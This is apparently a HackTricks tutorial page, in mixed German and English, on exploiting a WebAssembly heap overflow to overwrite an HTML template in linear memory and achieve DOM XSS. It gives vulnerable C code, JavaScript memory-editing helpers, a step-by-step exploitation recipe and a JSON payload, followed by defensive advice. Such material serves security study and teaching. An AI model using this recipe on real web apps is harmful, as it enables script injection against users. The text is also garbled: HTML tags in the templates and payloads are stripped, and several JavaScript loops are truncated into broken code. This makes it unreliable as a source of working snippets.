# WebAssembly linear memory corruption to DOM XSS (template overwrite) {{#include ../../banners/hacktricks-training.md}} Diese Technik zeigt, wie ein Speicherkorruptionsfehler in einem mit Emscripten kompilierten WebAssembly (WASM)-Modul selbst dann in einen zuverlässigen DOM XSS verwandelt werden kann, wenn Eingaben bereinigt sind. Der Dreh- und Angelpunkt ist, beschreibbare Konstanten in der WASM linear memory (z. B. HTML-Formatvorlagen) zu korruptieren, anstatt den bereinigten Quellstring anzugreifen. Key idea: In the WebAssembly model, code lives in non-writable executable pages, but the module’s data (heap/stack/globals/"constants") live in a single flat linear memory (pages of 64KB) that is writable by the module. If buggy C/C++ code writes out-of-bounds, you can overwrite adjacent objects and even constant strings embedded in linear memory. When such a constant is later used to build HTML for insertion via a DOM sink, you can turn sanitized input into executable JavaScript. Bedrohungsmodell und Voraussetzungen - Die Web-App verwendet Emscripten glue (Module.cwrap), um ein WASM-Modul aufzurufen. - Der Anwendungszustand liegt in der WASM linear memory (z. B. C structs mit pointers/lengths zu user buffers). - Ein Input-Sanitizer kodiert Metazeichen vor der Speicherung, aber die spätere Darstellung erzeugt HTML mithilfe eines format string, der in der WASM linear memory gespeichert ist. - Es existiert eine Primitive zur Korruption der WASM linear memory (z. B. heap overflow, UAF oder unchecked memcpy). Minimal anfälliges Datenmodell (Beispiel) ```c typedef struct msg { char *msg_data; // pointer to message bytes size_t msg_data_len; // length after sanitization int msg_time; // timestamp int msg_status; // flags } msg; typedef struct stuff { msg *mess; // dynamic array of msg size_t size; // used size_t capacity; // allocated } stuff; // global chat state in linear memory ``` Verwundbares Logikmuster - addMsg(): weist einen neuen Buffer zu, der an die sanitisierten Eingabedaten angepasst ist, und hängt ein msg an s.mess an, wobei bei Bedarf die Kapazität mit realloc verdoppelt wird. - editMsg(): re-sanitisiert und kopiert mit memcpy die neuen Bytes in den bestehenden Buffer, ohne sicherzustellen, dass die neue Länge ≤ alte Allokation → intra-linear-memory heap overflow. - populateMsgHTML(): formatiert den sanitisierten Text mit einem eingebetteten Stub wie "

%.*s

" der im linear memory liegt. Das zurückgegebene HTML landet in einer DOM sink (z. B. innerHTML). Allocator grooming with realloc() ```c int add_msg_to_stuff(stuff *s, msg new_msg) { if (s->size >= s->capacity) { s->capacity *= 2; s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg)); if (s->mess == NULL) exit(1); } s->mess[s->size++] = new_msg; return s->size - 1; } ``` - Nach Wachstum platziert realloc() häufig s->mess unmittelbar nach dem letzten Benutzerpuffer im linearen Speicher. - Überlaufe die letzte Nachricht via editMsg(), um Felder innerhalb von s->mess zu clobbern (z. B. msg_data-Pointer zu überschreiben) → beliebige Pointer-Überschreibung innerhalb des linearen Speichers für später gerenderte Daten. Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source - Sanitization schützt die Eingabe, nicht die Sinks. Finde das Format-Stub, das von populateMsgHTML() verwendet wird, z. B.: - "

%.*s

" → ändere zu "" - Lokalisieren das Stub deterministisch durch Scannen des linearen Speichers; es ist ein einfacher Byte-String innerhalb von Module.HEAPU8. - Nachdem du das Stub überschrieben hast, wird der bereinigte Nachrichteninhalt zum JavaScript-Handler für onerror, sodass das Hinzufügen einer neuen Nachricht mit Text wie alert(1337) zu führt und sofort im DOM ausgeführt wird. Chrome DevTools workflow (Emscripten glue) - Setze einen Breakpoint auf den ersten Module.cwrap call im JS glue und steige in die wasm call site ein, um Pointer-Argumente abzufangen (numerische Offsets im linearen Speicher). - Verwende typed views wie Module.HEAPU8, um WASM-Speicher aus der Konsole zu lesen/schreiben. - Hilfreiche Snippets: ```javascript function writeBytes(ptr, byteArray){ if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers"); for(let i=0;i255) throw new Error(`Invalid byte at index ${i}: ${byte}`); HEAPU8[ptr+i]=byte; } } function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); } function readBytesAsChars(ptr,len){ const bytes=HEAPU8.subarray(ptr,ptr+len); return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join(''); } function searchWasmMemory(str){ const mem=Module.HEAPU8, pat=new TextEncoder().encode(str); for(let i=0;i bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int ``` End-to-end exploitation recipe 1) Groom: Füge N kleine Nachrichten hinzu, um realloc() auszulösen. Stelle sicher, dass s->mess an einen user buffer angrenzt. 2) Overflow: Rufe editMsg() für die letzte Nachricht mit einer längeren Nutzlast auf, um einen Eintrag in s->mess zu überschreiben und msg_data von Nachricht 0 so zu setzen, dass es auf (stub_addr + 1) zeigt. Das +1 überspringt das führende '<', um die Tag-Ausrichtung bei der nächsten Änderung intakt zu halten. 3) Template rewrite: Editiere Nachricht 0 so, dass ihre Bytes die template mit: "img src=1 onerror=%.*s " überschreiben. 4) Trigger XSS: Füge eine neue Nachricht hinzu, deren bereinigter Inhalt JavaScript ist, z. B. alert(1337). Das Rendering gibt aus und führt es aus. Example action list to serialize and place in ?s= (Base64-encode with btoa before use) ```json [ {"action":"add","content":"hi","time":1756840476392}, {"action":"add","content":"hi","time":1756840476392}, {"action":"add","content":"hi","time":1756840476392}, {"action":"add","content":"hi","time":1756840476392}, {"action":"add","content":"hi","time":1756840476392}, {"action":"add","content":"hi","time":1756840476392}, {"action":"add","content":"hi","time":1756840476392}, {"action":"add","content":"hi","time":1756840476392}, {"action":"add","content":"hi","time":1756840476392}, {"action":"add","content":"hi","time":1756840476392}, {"action":"add","content":"hi","time":1756840476392}, {"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080}, {"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080}, {"action":"add","content":"alert(1337)","time":1756840476392} ] ``` Warum dieser Bypass funktioniert - WASM verhindert Codeausführung aus linear memory, aber konstante Daten innerhalb der linear memory sind beschreibbar, wenn die Programmlogik fehlerhaft ist. - Der Sanitizer schützt nur den Quellstring; indem man den sink (die HTML template) korrumpiert, wird die gesäuberte Eingabe zum JS-Handler-Wert und ausgeführt, wenn sie in das DOM eingefügt wird. - Durch realloc()-getriebene Adjazenz plus unkontrolliertes memcpy in Edit-Flows kann Pointer-Korruption Schreibvorgänge auf angreifergewählte Adressen innerhalb der linear memory umleiten. Generalisierung und weitere Angriffsflächen - Jede in-memory gespeicherte HTML template, JSON skeleton oder URL pattern, die in die linear memory eingebettet ist, kann zum Ziel werden, um zu verändern, wie gesäuberte Daten nachgelagert interpretiert werden. - Weitere gängige WASM-Fallen: out-of-bounds writes/reads in linear memory, UAF bei Heap-Objekten, function-table misuse mit ungeprüften indirekten Call-Indizes und JS↔WASM glue mismatches. Defensive Hinweise - In Edit-Pfaden die neue Länge ≤ Kapazität überprüfen; Puffer vor dem Kopieren neu dimensionieren (realloc auf new_len) oder größenbegrenzte APIs verwenden (snprintf/strlcpy) und die Kapazität nachverfolgen. - Unveränderliche Templates außerhalb beschreibbarer linear memory halten oder ihre Integrität vor der Nutzung prüfen. - Behandle JS↔WASM-Grenzen als untrusted: Pointer-Bereiche/Längen validieren, exportierte Schnittstellen fuzzen und Memory-Wachstum begrenzen. - Sanitize am sink: vermeide das Erzeugen von HTML in WASM; bevorzuge sichere DOM-APIs gegenüber innerHTML-style templating. - Vertraue nicht auf URL-embedded state für privilegierte Flows. ## Referenzen - [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/) - [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline) - [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff) - [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t) - [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/) {{#include ../../banners/hacktricks-training.md}}